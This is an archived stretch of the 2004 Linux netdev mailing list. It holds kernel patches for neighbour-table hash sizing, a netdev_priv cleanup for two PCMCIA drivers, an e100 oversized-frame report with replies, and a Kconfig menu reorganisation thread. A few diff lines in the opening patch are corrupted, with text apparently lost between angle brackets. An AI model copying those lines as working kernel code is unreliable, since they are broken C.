neighbour *)*tbl->num_hash_buckets); + + if (CONFIG_NEIGH_NUM_HASHBITS && (tbl->num_hash_buckets != ((1<num_hash_buckets + ); tbl->parms.reachable_time = neigh_rand_reach_time(tbl->parms.base_reachable_time); @@ -1148,7 +1183,7 @@ tbl->lock = RW_LOCK_UNLOCKED; tbl->gc_timer.data = (unsigned long)tbl; tbl->gc_timer.function = neigh_periodic_timer; - tbl->gc_timer.expires = now + tbl->gc_interval + tbl->parms.reachable_time; + tbl->gc_timer.expires = now + 1; add_timer(&tbl->gc_timer); init_timer(&tbl->proxy_timer); @@ -1364,7 +1399,7 @@ s_h = cb->args[1]; s_idx = idx = cb->args[2]; - for (h=0; h <= NEIGH_HASHMASK; h++) { + for (h=0; h < tbl->num_hash_buckets; h++) { if (h < s_h) continue; if (h > s_h) s_idx = 0; @@ -1505,9 +1540,6 @@ {NET_NEIGH_LOCKTIME, "locktime", NULL, sizeof(int), 0644, NULL, &proc_dointvec}, - {NET_NEIGH_GC_INTERVAL, "gc_interval", - NULL, sizeof(int), 0644, NULL, - &proc_dointvec_jiffies}, {NET_NEIGH_GC_THRESH1, "gc_thresh1", NULL, sizeof(int), 0644, NULL, &proc_dointvec}, diff -r -u --new-file linux-2.4.bk.original/net/decnet/dn_neigh.c linux-2.4.bk-auto-size/net/decnet/dn_neigh.c --- linux-2.4.bk.original/net/decnet/dn_neigh.c 2004-03-14 08:54:29.000000000 -0700 +++ linux-2.4.bk-auto-size/net/decnet/dn_neigh.c 2004-03-14 11:11:02.000000000 -0700 @@ -110,7 +110,6 @@ proxy_qlen: 0, locktime: 1 * HZ, }, - gc_interval: 30 * HZ, gc_thresh1: 128, gc_thresh2: 512, gc_thresh3: 1024, @@ -124,7 +123,7 @@ hash_val ^= (hash_val >> 10); hash_val ^= (hash_val >> 3); - return hash_val & NEIGH_HASHMASK; + return hash_val & (dn_neigh_table.num_hash_buckets-1); } static int dn_neigh_construct(struct neighbour *neigh) @@ -496,7 +495,7 @@ read_lock_bh(&tbl->lock); - for(i = 0; i < NEIGH_HASHMASK; i++) { + for(i = 0; i < tbl->num_hash_buckets; i++) { for(neigh = tbl->hash_buckets[i]; neigh != NULL; neigh = neigh->next) { if (neigh->dev != dev) continue; @@ -539,7 +538,7 @@ len += sprintf(buffer + len, "Addr Flags State Use Blksize Dev\n"); - for(i=0;i <= NEIGH_HASHMASK; i++) { + for(i=0;i < dn_neigh_table.num_hash_buckets; i++) { read_lock_bh(&dn_neigh_table.lock); n = dn_neigh_table.hash_buckets[i]; for(; n != NULL; n = n->next) { diff -r -u --new-file linux-2.4.bk.original/net/ipv4/arp.c linux-2.4.bk-auto-size/net/ipv4/arp.c --- linux-2.4.bk.original/net/ipv4/arp.c 2004-03-14 08:54:29.000000000 -0700 +++ linux-2.4.bk-auto-size/net/ipv4/arp.c 2004-03-14 11:03:09.000000000 -0700 @@ -185,7 +185,6 @@ proxy_qlen: 64, locktime: 1 * HZ, }, - gc_interval: 30 * HZ, gc_thresh1: 128, gc_thresh2: 512, gc_thresh3: 1024, @@ -220,7 +219,7 @@ hash_val ^= (hash_val>>16); hash_val ^= hash_val>>8; hash_val ^= hash_val>>3; - hash_val = (hash_val^dev->ifindex)&NEIGH_HASHMASK; + hash_val = (hash_val^dev->ifindex)&(arp_tbl.num_hash_buckets-1); return hash_val; } @@ -1115,7 +1114,7 @@ pos+=size; len+=size; - for(i=0; i<=NEIGH_HASHMASK; i++) { + for(i=0; inext) { diff -r -u --new-file linux-2.4.bk.original/net/ipv6/ndisc.c linux-2.4.bk-auto-size/net/ipv6/ndisc.c --- linux-2.4.bk.original/net/ipv6/ndisc.c 2004-03-14 08:54:30.000000000 -0700 +++ linux-2.4.bk-auto-size/net/ipv6/ndisc.c 2004-03-13 22:13:59.000000000 -0700 @@ -246,7 +246,7 @@ hash_val ^= (hash_val>>16); hash_val ^= hash_val>>8; hash_val ^= hash_val>>3; - hash_val = (hash_val^dev->ifindex)&NEIGH_HASHMASK; + hash_val = (hash_val^dev->ifindex)&(nd_tbl.num_hash_buckets-1); return hash_val; } -- Tim Gardner - timg@tpi.com www.tpi.com 406-443-5357 From daniel.ritz@gmx.ch Sun Mar 14 15:13:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 15:13:16 -0800 (PST) Received: from ritz.dnsalias.org (217-162-59-239.dclient.hispeed.ch [217.162.59.239]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ENDDKO000316 for ; Sun, 14 Mar 2004 15:13:14 -0800 Received: from toshba.local (toshba.local [192.168.100.12]) by ritz.dnsalias.org (Postfix) with ESMTP id 388B34FBB4; Mon, 15 Mar 2004 00:13:11 +0100 (CET) From: Daniel Ritz Reply-To: daniel.ritz@gmx.ch To: Jeff Garzik Subject: [PATCH] netdev_priv for xirc2ps_cs, nmclan_cs Date: Mon, 15 Mar 2004 00:11:09 +0100 User-Agent: KMail/1.5.2 Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403150011.09952.daniel.ritz@gmx.ch> X-archive-position: 3994 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniel.ritz@gmx.ch Precedence: bulk X-list: netdev Content-Length: 8875 Lines: 294 s/dev->priv/netdev_priv(dev)/ for xirc2ps_cs.c and nmclan_cs.c xircom one is tested. against 2.6.4-bk rgds -daniel --- 1.31/drivers/net/pcmcia/xirc2ps_cs.c Fri Mar 12 01:00:00 2004 +++ edited/drivers/net/pcmcia/xirc2ps_cs.c Sun Mar 14 16:01:12 2004 @@ -595,7 +595,7 @@ dev = alloc_etherdev(sizeof(local_info_t)); if (!dev) return NULL; - local = dev->priv; + local = netdev_priv(dev); link = &local->link; link->priv = dev; @@ -710,7 +710,7 @@ set_card_type(dev_link_t *link, const void *s) { struct net_device *dev = link->priv; - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); #ifdef PCMCIA_DEBUG unsigned cisrev = ((const unsigned char *)s)[2]; #endif @@ -805,7 +805,7 @@ { client_handle_t handle = link->handle; struct net_device *dev = link->priv; - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); tuple_t tuple; cisparse_t parse; ioaddr_t ioaddr; @@ -1159,7 +1159,7 @@ if (link->win) { struct net_device *dev = link->priv; - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); if (local->dingo) iounmap(local->dingo_ccr - 0x0800); pcmcia_release_window(link->win); @@ -1246,7 +1246,7 @@ xirc2ps_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); ioaddr_t ioaddr; u_char saved_page; unsigned bytes_rcvd; @@ -1468,7 +1468,7 @@ static void do_tx_timeout(struct net_device *dev) { - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); printk(KERN_NOTICE "%s: transmit timed out\n", dev->name); lp->stats.tx_errors++; /* reset the card */ @@ -1480,7 +1480,7 @@ static int do_start_xmit(struct sk_buff *skb, struct net_device *dev) { - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int okay; unsigned freespace; @@ -1537,7 +1537,7 @@ static struct net_device_stats * do_get_stats(struct net_device *dev) { - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); /* lp->stats.rx_missed_errors = GetByte(?) */ return &lp->stats; @@ -1552,7 +1552,7 @@ set_addresses(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); struct dev_mc_list *dmi = dev->mc_list; char *addr; int i,j,k,n; @@ -1617,7 +1617,7 @@ static int do_config(struct net_device *dev, struct ifmap *map) { - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); DEBUG(0, "do_config(%p)\n", dev); if (map->port != 255 && map->port != dev->if_port) { @@ -1643,7 +1643,7 @@ static int do_open(struct net_device *dev) { - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); dev_link_t *link = &lp->link; DEBUG(0, "do_open(%p)\n", dev); @@ -1676,7 +1676,7 @@ static int do_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u16 *data = (u16 *)&rq->ifr_data; @@ -1708,7 +1708,7 @@ static void hardreset(struct net_device *dev) { - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; SelectPage(4); @@ -1725,7 +1725,7 @@ static void do_reset(struct net_device *dev, int full) { - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; unsigned value; @@ -1886,7 +1886,7 @@ static int init_mii(struct net_device *dev) { - local_info_t *local = dev->priv; + local_info_t *local = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; unsigned control, status, linkpartner; int i; @@ -1973,7 +1973,7 @@ do_stop(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); dev_link_t *link = &lp->link; DEBUG(0, "do_stop(%p)\n", dev); --- 1.24/drivers/net/pcmcia/nmclan_cs.c Tue Jan 20 00:34:56 2004 +++ edited/drivers/net/pcmcia/nmclan_cs.c Sun Mar 14 16:05:00 2004 @@ -470,7 +470,7 @@ dev = alloc_etherdev(sizeof(mace_private)); if (!dev) return NULL; - lp = dev->priv; + lp = netdev_priv(dev); link = &lp->link; link->priv = dev; @@ -707,7 +707,7 @@ { client_handle_t handle = link->handle; struct net_device *dev = link->priv; - mace_private *lp = dev->priv; + mace_private *lp = netdev_priv(dev); tuple_t tuple; cisparse_t parse; u_char buf[64]; @@ -875,7 +875,7 @@ ---------------------------------------------------------------------------- */ static void nmclan_reset(struct net_device *dev) { - mace_private *lp = dev->priv; + mace_private *lp = netdev_priv(dev); #if RESET_XILINX dev_link_t *link = &lp->link; @@ -944,7 +944,7 @@ static int mace_open(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - mace_private *lp = dev->priv; + mace_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; if (!DEV_OK(link)) @@ -967,7 +967,7 @@ static int mace_close(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - mace_private *lp = dev->priv; + mace_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; DEBUG(2, "%s: shutting down ethercard.\n", dev->name); @@ -1022,7 +1022,7 @@ static void mace_tx_timeout(struct net_device *dev) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; printk(KERN_NOTICE "%s: transmit timed out -- ", dev->name); @@ -1038,7 +1038,7 @@ static int mace_start_xmit(struct sk_buff *skb, struct net_device *dev) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; netif_stop_queue(dev); @@ -1099,7 +1099,7 @@ static irqreturn_t mace_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - mace_private *lp = dev->priv; + mace_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int status; int IntrCnt = MACE_MAX_IR_ITERATIONS; @@ -1241,7 +1241,7 @@ ---------------------------------------------------------------------------- */ static int mace_rx(struct net_device *dev, unsigned char RxCnt) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; unsigned char rx_framecnt; unsigned short rx_status; @@ -1408,7 +1408,7 @@ ---------------------------------------------------------------------------- */ static void update_stats(ioaddr_t ioaddr, struct net_device *dev) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); lp->mace_stats.rcvcc += mace_read(lp, ioaddr, MACE_RCVCC); lp->mace_stats.rntpc += mace_read(lp, ioaddr, MACE_RNTPC); @@ -1454,7 +1454,7 @@ ---------------------------------------------------------------------------- */ static struct net_device_stats *mace_get_stats(struct net_device *dev) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); update_stats(dev->base_addr, dev); @@ -1549,7 +1549,7 @@ ---------------------------------------------------------------------------- */ static void restore_multicast_list(struct net_device *dev) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); int num_addrs = lp->multicast_num_addrs; int *ladrf = lp->multicast_ladrf; ioaddr_t ioaddr = dev->base_addr; @@ -1606,7 +1606,7 @@ static void set_multicast_list(struct net_device *dev) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); int adr[ETHER_ADDR_LEN] = {0}; /* Ethernet address */ int i; struct dev_mc_list *dmi = dev->mc_list; @@ -1645,10 +1645,10 @@ static void restore_multicast_list(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); DEBUG(2, "%s: restoring Rx mode to %d addresses.\n", dev->name, - ((mace_private *)(dev->priv))->multicast_num_addrs); + lp->multicast_num_addrs); if (dev->flags & IFF_PROMISC) { /* Promiscuous mode: receive all packets */ @@ -1665,7 +1665,7 @@ static void set_multicast_list(struct net_device *dev) { - mace_private *lp = (mace_private *)dev->priv; + mace_private *lp = netdev_priv(dev); #ifdef PCMCIA_DEBUG if (pc_debug > 1) { From haegar@sdinet.de Sun Mar 14 15:51:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 15:51:17 -0800 (PST) Received: from mercury.sdinet.de (mercury.sdinet.de [193.103.161.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ENp7KO002503 for ; Sun, 14 Mar 2004 15:51:08 -0800 Received: from mercury.sdinet.de (mercury.sdinet.de [193.103.161.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mercury.sdinet.de (Postfix) with ESMTP id EEE951DF4E1 for ; Mon, 15 Mar 2004 00:51:05 +0100 (CET) Date: Mon, 15 Mar 2004 00:51:05 +0100 (CET) From: Sven-Haegar Koch To: netdev@oss.sgi.com Subject: Problem with e100.c and packets >mtu in 2.6.4 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3995 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haegar@sdinet.de Precedence: bulk X-list: netdev Content-Length: 1907 Lines: 54 hello, After a while, I decided to try a kernel 2.6 on my laptop again (after unsatisfying results with 2.6.1). 2.6.4 works, only one problem is left. I have got the following onboard ethernet adaptor in my laptop: 02:08.0 Ethernet controller: Intel Corp. 82801BA/BAM/CA/CAM Ethernet Controller (rev 03) One special thing about my setup may be that I'm using a mtu of only 1442, because this way I don't have to reconfigure it every time I'm moving it into a location with broken PMTU and some vpn tunnels. But in most locations, the other hosts (including the gateway) use a standard mtu of 1500 on the ethernet, only my laptop is sending smaller packets. This has till now never been a problem, I'm just sending smaller packets and receiving the bigger ones. But the e100 in kernel 2.6.4 just drops these packets, eepro100 and orinoco_cs accept them just fine, as does my last kernel 2.4.23. Reverting a part of http://linux.bkbits.net:8080/linux-2.5/diffs/drivers/net/e100.c@1.7?nav=index.html|src/|src/drivers|src/drivers/net|hist/drivers/net/e100.c of e100.c with the following patch fixes it: --- linux-2.6.4/drivers/net/e100.c-2.6.4 2004-03-13 03:37:06.000000000 +0100 +++ linux-2.6.4/drivers/net/e100.c 2004-03-13 03:38:53.000000000 +0100 @@ -1436,11 +1436,6 @@ /* Don't indicate if hardware indicates errors */ nic->net_stats.rx_dropped++; dev_kfree_skb_any(skb); - } else if(actual_size > nic->netdev->mtu + VLAN_ETH_HLEN) { - /* Don't indicate oversized frames */ - nic->net_stats.rx_over_errors++; - nic->net_stats.rx_dropped++; - dev_kfree_skb_any(skb); } else { nic->net_stats.rx_packets++; nic->net_stats.rx_bytes += actual_size; What is the reason behind this check? Could it be removed from the official sources again? c'ya sven -- The Internet treats censorship as a routing problem, and routes around it. (John Gilmore on http://www.cygnus.com/~gnu/) From glen.turner@aarnet.edu.au Sun Mar 14 17:31:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 17:31:09 -0800 (PST) Received: from clix.aarnet.edu.au (clix.aarnet.edu.au [192.94.63.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2F1V6KO008784 for ; Sun, 14 Mar 2004 17:31:07 -0800 Received: from [192.43.230.58] ([192.43.230.58]) (authenticated bits=0) by clix.aarnet.edu.au (8.12.8/8.12.8) with ESMTP id i2F1V4pv014300 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 15 Mar 2004 12:31:04 +1100 Subject: Re: Problem with e100.c and packets >mtu in 2.6.4 From: Glen Turner To: Sven-Haegar Koch Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Organization: Australian Academic and Research Network Message-Id: <1079314166.5676.103.camel@andromache> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Mon, 15 Mar 2004 11:59:26 +1030 Content-Transfer-Encoding: 7bit X-MDSA: Yes X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3996 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: glen.turner@aarnet.edu.au Precedence: bulk X-list: netdev Content-Length: 765 Lines: 23 > What is the reason behind this check? Could it be removed from the > official sources again? Alternatively, I'd like to suggest that too-big frames be discarded by all drivers. The configuration described (an inconsistent MTU in a subnet) is wrong and having it fail-and-count rather than subtly "work" (eg, frames up to some hardware-dependent magic number are received but can't be sent, but frames beyond that don't) is a significant help to network operators. Those operators then just need to know the RFCs, not the inner details of the popular NICs and their drivers. -- Glen Turner Tel: (08) 8303 3936 or +61 8 8303 3936 Network Engineer Email: glen.turner@aarnet.edu.au Australian Academic & Research Network www.aarnet.edu.au From niv@us.ibm.com Sun Mar 14 18:20:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 18:20:26 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2F2KEKO009676 for ; Sun, 14 Mar 2004 18:20:20 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2F2Jvrj346144; Sun, 14 Mar 2004 21:19:57 -0500 Received: from us.ibm.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2F2Jupf152176; Sun, 14 Mar 2004 19:19:56 -0700 Message-ID: <4055122D.8030809@us.ibm.com> Date: Sun, 14 Mar 2004 18:17:17 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: lkml , benh@kernel.crashing.org, davem@redhat.com, netdev Subject: Re: [patch/RFC] networking menus References: <20040314163327.53102f46.rddunlap@osdl.org> In-Reply-To: <20040314163327.53102f46.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3997 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 4347 Lines: 146 Randy.Dunlap wrote: > This is just a first pass/RFC. It moves "Networking support" out of > the "Device Drivers" menu, which seems helpful to me. However, > ISTM that it should really just be the "Networking options" here > and not include Amateur Radio, IrDA, and Bluetooth support. > I.e., I think that those latter 3 should fall under Device Drivers. > Does that make sense to anyone else? Just a comment that those 3 subsystems are not just device drivers, they have non-trivial amount of code in the protocol stack under ../net/. So would moving them to device drivers be misleading in any way? I can see pulling out Networking support from under device drivers, though. > Does this need to be discussed on netdev (also)? Yes. :) thanks, Nivedita > > // Linux 2.6.4 > // Rearrange networking menus so that Networking support/options > // isn't buried inside Device Drivers. > > diffstat:= > drivers/Kconfig | 4 +++- > init/Kconfig | 0 > net/Kconfig | 6 ++---- > net/ax25/Kconfig | 7 ++----- > net/bluetooth/Kconfig | 4 +--- > net/irda/Kconfig | 6 ++---- > 6 files changed, 10 insertions(+), 17 deletions(-) > > > diff -Naurp ./drivers/Kconfig~net_config ./drivers/Kconfig > --- ./drivers/Kconfig~net_config 2004-03-10 18:55:44.000000000 -0800 > +++ ./drivers/Kconfig 2004-03-12 15:20:39.000000000 -0800 > @@ -1,5 +1,7 @@ > # drivers/Kconfig > > +source "net/Kconfig" > + > menu "Device Drivers" > > source "drivers/base/Kconfig" > @@ -28,7 +30,7 @@ source "drivers/message/i2o/Kconfig" > > source "drivers/macintosh/Kconfig" > > -source "net/Kconfig" > +source "drivers/net/Kconfig" > > source "drivers/isdn/Kconfig" > > diff -Naurp ./net/bluetooth/Kconfig~net_config ./net/bluetooth/Kconfig > --- ./net/bluetooth/Kconfig~net_config 2004-03-10 18:55:43.000000000 -0800 > +++ ./net/bluetooth/Kconfig 2004-03-12 15:41:42.000000000 -0800 > @@ -2,10 +2,8 @@ > # Bluetooth subsystem configuration > # > > -menu "Bluetooth support" > +menuconfig BT > depends on NET > - > -config BT > tristate "Bluetooth subsystem support" > help > Bluetooth is low-cost, low-power, short-range wireless technology. > diff -Naurp ./net/irda/Kconfig~net_config ./net/irda/Kconfig > --- ./net/irda/Kconfig~net_config 2004-03-10 18:55:27.000000000 -0800 > +++ ./net/irda/Kconfig 2004-03-12 15:39:39.000000000 -0800 > @@ -2,11 +2,9 @@ > # IrDA protocol configuration > # > > -menu "IrDA (infrared) support" > +menuconfig IRDA > depends on NET > - > -config IRDA > - tristate "IrDA subsystem support" > + tristate "IrDA (infrared) subsystem support" > ---help--- > Say Y here if you want to build support for the IrDA (TM) protocols. > The Infrared Data Associations (tm) specifies standards for wireless > diff -Naurp ./net/ax25/Kconfig~net_config ./net/ax25/Kconfig > --- ./net/ax25/Kconfig~net_config 2004-03-10 18:55:44.000000000 -0800 > +++ ./net/ax25/Kconfig 2004-03-12 15:40:01.000000000 -0800 > @@ -6,9 +6,8 @@ > # Joerg Reuter DL1BKE > # 19980129 Moved to net/ax25/Config.in, sourcing device drivers. > > -menu "Amateur Radio support" > - > -config HAMRADIO > +menuconfig HAMRADIO > + depends on NET > bool "Amateur Radio support" > help > If you want to connect your Linux box to an amateur radio, answer Y > @@ -109,5 +108,3 @@ source "drivers/net/hamradio/Kconfig" > > endmenu > > -endmenu > - > diff -Naurp ./net/Kconfig~net_config ./net/Kconfig > --- ./net/Kconfig~net_config 2004-03-10 18:55:21.000000000 -0800 > +++ ./net/Kconfig 2004-03-12 15:24:30.000000000 -0800 > @@ -2,9 +2,9 @@ > # Network configuration > # > > -menu "Networking support" > +###menu "Networking support" > > -config NET > +menuconfig NET > bool "Networking support" > ---help--- > Unless you really know what you are doing, you should say Y here. > @@ -650,8 +650,6 @@ endmenu > > endmenu > > -source "drivers/net/Kconfig" > - > source "net/ax25/Kconfig" > > source "net/irda/Kconfig" > diff -Naurp ./init/Kconfig~net_config ./init/Kconfig > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > From rddunlap@osdl.org Sun Mar 14 19:12:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 19:12:47 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2F3CbKO010945 for ; Sun, 14 Mar 2004 19:12:38 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2F3CIE16990; Sun, 14 Mar 2004 19:12:22 -0800 Date: Sun, 14 Mar 2004 19:07:24 -0800 From: "Randy.Dunlap" To: Nivedita Singhvi Cc: linux-kernel@vger.kernel.org, benh@kernel.crashing.org, davem@redhat.com, netdev@oss.sgi.com Subject: Re: [patch/RFC] networking menus Message-Id: <20040314190724.1af1f11d.rddunlap@osdl.org> In-Reply-To: <4055122D.8030809@us.ibm.com> References: <20040314163327.53102f46.rddunlap@osdl.org> <4055122D.8030809@us.ibm.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3998 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 4634 Lines: 150 On Sun, 14 Mar 2004 18:17:17 -0800 Nivedita Singhvi wrote: | Randy.Dunlap wrote: | | > This is just a first pass/RFC. It moves "Networking support" out of | > the "Device Drivers" menu, which seems helpful to me. However, | > ISTM that it should really just be the "Networking options" here | > and not include Amateur Radio, IrDA, and Bluetooth support. | > I.e., I think that those latter 3 should fall under Device Drivers. | > Does that make sense to anyone else? | | Just a comment that those 3 subsystems are not just | device drivers, they have non-trivial amount of code | in the protocol stack under ../net/. So would moving | them to device drivers be misleading in any way? | | I can see pulling out Networking support from under | device drivers, though. Agreed, I looked again and those 3 should stay under "Networking support." I'm still looking for other items to move to make it all easier to navigate. | > Does this need to be discussed on netdev (also)? | | Yes. :) OK. Thanks for cc-ing it. | thanks, | Nivedita | | > | > // Linux 2.6.4 | > // Rearrange networking menus so that Networking support/options | > // isn't buried inside Device Drivers. | > | > diffstat:= | > drivers/Kconfig | 4 +++- | > init/Kconfig | 0 | > net/Kconfig | 6 ++---- | > net/ax25/Kconfig | 7 ++----- | > net/bluetooth/Kconfig | 4 +--- | > net/irda/Kconfig | 6 ++---- | > 6 files changed, 10 insertions(+), 17 deletions(-) | > | > | > diff -Naurp ./drivers/Kconfig~net_config ./drivers/Kconfig | > --- ./drivers/Kconfig~net_config 2004-03-10 18:55:44.000000000 -0800 | > +++ ./drivers/Kconfig 2004-03-12 15:20:39.000000000 -0800 | > @@ -1,5 +1,7 @@ | > # drivers/Kconfig | > | > +source "net/Kconfig" | > + | > menu "Device Drivers" | > | > source "drivers/base/Kconfig" | > @@ -28,7 +30,7 @@ source "drivers/message/i2o/Kconfig" | > | > source "drivers/macintosh/Kconfig" | > | > -source "net/Kconfig" | > +source "drivers/net/Kconfig" | > | > source "drivers/isdn/Kconfig" | > | > diff -Naurp ./net/bluetooth/Kconfig~net_config ./net/bluetooth/Kconfig | > --- ./net/bluetooth/Kconfig~net_config 2004-03-10 18:55:43.000000000 -0800 | > +++ ./net/bluetooth/Kconfig 2004-03-12 15:41:42.000000000 -0800 | > @@ -2,10 +2,8 @@ | > # Bluetooth subsystem configuration | > # | > | > -menu "Bluetooth support" | > +menuconfig BT | > depends on NET | > - | > -config BT | > tristate "Bluetooth subsystem support" | > help | > Bluetooth is low-cost, low-power, short-range wireless technology. | > diff -Naurp ./net/irda/Kconfig~net_config ./net/irda/Kconfig | > --- ./net/irda/Kconfig~net_config 2004-03-10 18:55:27.000000000 -0800 | > +++ ./net/irda/Kconfig 2004-03-12 15:39:39.000000000 -0800 | > @@ -2,11 +2,9 @@ | > # IrDA protocol configuration | > # | > | > -menu "IrDA (infrared) support" | > +menuconfig IRDA | > depends on NET | > - | > -config IRDA | > - tristate "IrDA subsystem support" | > + tristate "IrDA (infrared) subsystem support" | > ---help--- | > Say Y here if you want to build support for the IrDA (TM) protocols. | > The Infrared Data Associations (tm) specifies standards for wireless | > diff -Naurp ./net/ax25/Kconfig~net_config ./net/ax25/Kconfig | > --- ./net/ax25/Kconfig~net_config 2004-03-10 18:55:44.000000000 -0800 | > +++ ./net/ax25/Kconfig 2004-03-12 15:40:01.000000000 -0800 | > @@ -6,9 +6,8 @@ | > # Joerg Reuter DL1BKE | > # 19980129 Moved to net/ax25/Config.in, sourcing device drivers. | > | > -menu "Amateur Radio support" | > - | > -config HAMRADIO | > +menuconfig HAMRADIO | > + depends on NET | > bool "Amateur Radio support" | > help | > If you want to connect your Linux box to an amateur radio, answer Y | > @@ -109,5 +108,3 @@ source "drivers/net/hamradio/Kconfig" | > | > endmenu | > | > -endmenu | > - | > diff -Naurp ./net/Kconfig~net_config ./net/Kconfig | > --- ./net/Kconfig~net_config 2004-03-10 18:55:21.000000000 -0800 | > +++ ./net/Kconfig 2004-03-12 15:24:30.000000000 -0800 | > @@ -2,9 +2,9 @@ | > # Network configuration | > # | > | > -menu "Networking support" | > +###menu "Networking support" | > | > -config NET | > +menuconfig NET | > bool "Networking support" | > ---help--- | > Unless you really know what you are doing, you should say Y here. | > @@ -650,8 +650,6 @@ endmenu | > | > endmenu | > | > -source "drivers/net/Kconfig" | > - | > source "net/ax25/Kconfig" | > | > source "net/irda/Kconfig" | > diff -Naurp ./init/Kconfig~net_config ./init/Kconfig | > - -- ~Randy From rddunlap@osdl.org Sun Mar 14 20:59:51 2004 Received: with ECARTIS (v1.0.0; list netdev); 